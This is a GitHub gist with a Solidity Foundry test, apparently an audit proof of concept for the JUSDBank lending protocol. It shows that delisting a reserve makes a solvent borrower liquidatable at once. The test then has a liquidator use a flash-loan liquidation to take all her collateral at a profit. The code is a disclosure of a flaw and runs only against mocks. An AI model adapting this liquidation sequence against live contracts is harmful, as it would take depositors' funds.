Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save bzpassersby/0fe5509d479ddd9117aa3593b14dcab8 to your computer and use it in GitHub Desktop.
Save bzpassersby/0fe5509d479ddd9117aa3593b14dcab8 to your computer and use it in GitHub Desktop.
Borrowers in Good Standing Instantly Liquidated after a reserve delists without a chance to repay or withdraw
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "./JUSDBankInit2.t.sol";
import "../mocks/MockChainLink900.sol";
import "../../src/utils/JUSDError.sol";
import "../../src/Impl/flashloanImpl/FlashLoanLiquidate.sol";
contract BorrowersInstantlyLiquidatedWhenReserveDelistedTest is
JUSDBankInitTest
{
function test_borrower_lose_all_collaterals_due_to_reserve_delisting()
public
{
mockToken1.transfer(alice, 10 * ONE);
vm.startPrank(alice);
mockToken1.approve(address(jusdBank), 10 * ONE);
jusdBank.deposit(alice, address(mockToken1), 10 * ONE, alice); //Alice deposited 10e18 mockToken1
vm.warp(1000);
uint maxBorrowAmount = jusdBank.getDepositMaxMintAmount(alice);
jusdBank.borrow(999e6, alice, false);
require(jusdBank.getBorrowBalance(alice) == 999e6); //Alice borrowed 999e6 JUSD and account is safe after borrow
vm.stopPrank();
mockToken2.transfer(bob, 10e8);
vm.startPrank(bob);
mockToken2.approve(address(jusdBank), 1e8);
jusdBank.deposit(bob, address(mockToken2), 1e8, bob); //Bob deposited 10e8 mockToken2
vm.warp(1000);
jusdBank.borrow(500e6, bob, false);
require(jusdBank.getBorrowBalance(bob) == 500e6); //Bob borrowed 500e6 JUSD and account is safe after borrow
vm.stopPrank();
//delist mockToken1
jusdBank.delistReserve(address(mockToken1));
require(jusdBank.isAccountSafe(alice) == false); ////After mockToken1 delisted, Alice's account is not safe
require(jusdBank.getUserCollateralList(alice).length > 0); //Alice's collateral list is not empty
require(jusdBank.getDepositMaxMintAmount(alice) == 0);
////Alice cannot borrow or deposit, her collateral has no value in the system
//init flashloanRepay
FlashLoanLiquidate flashLoanRepay = new FlashLoanLiquidate(
address(jusdBank),
address(jusdExchange),
address(USDC),
address(jusd),
insurance
);
bytes memory data = swapContract.getSwapData(
10e18,
address(mockToken1)
);
bytes memory param = abi.encode(
swapContract,
swapContract,
address(bob),
data
);
// liquidate
vm.startPrank(bob);
bytes memory afterParam = abi.encode(address(flashLoanRepay), param);
jusdBank.liquidate(
alice,
address(mockToken1),
bob,
10e18,
afterParam,
900e18
);
vm.stopPrank();
uint256 aliceDeposit = jusdBank.getDepositBalance(
address(mockToken1),
alice
);
uint256 aliceBorrow = jusdBank.getBorrowBalance(alice);
uint256 bobBalance = USDC.balanceOf(bob);
console.log(bobBalance);
//log: 58421053(58 usd)
assertEq(aliceBorrow, 0);
assertEq(bobBalance > 0, true); ////Liquidator made a profit
assertEq(aliceDeposit, 0); ////Alice lost all her collaterals!
console.log(maxBorrowAmount - 999e6);
//log: 7001000000 (7001 usd) ////Alice's net loss is 7001 usd!
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment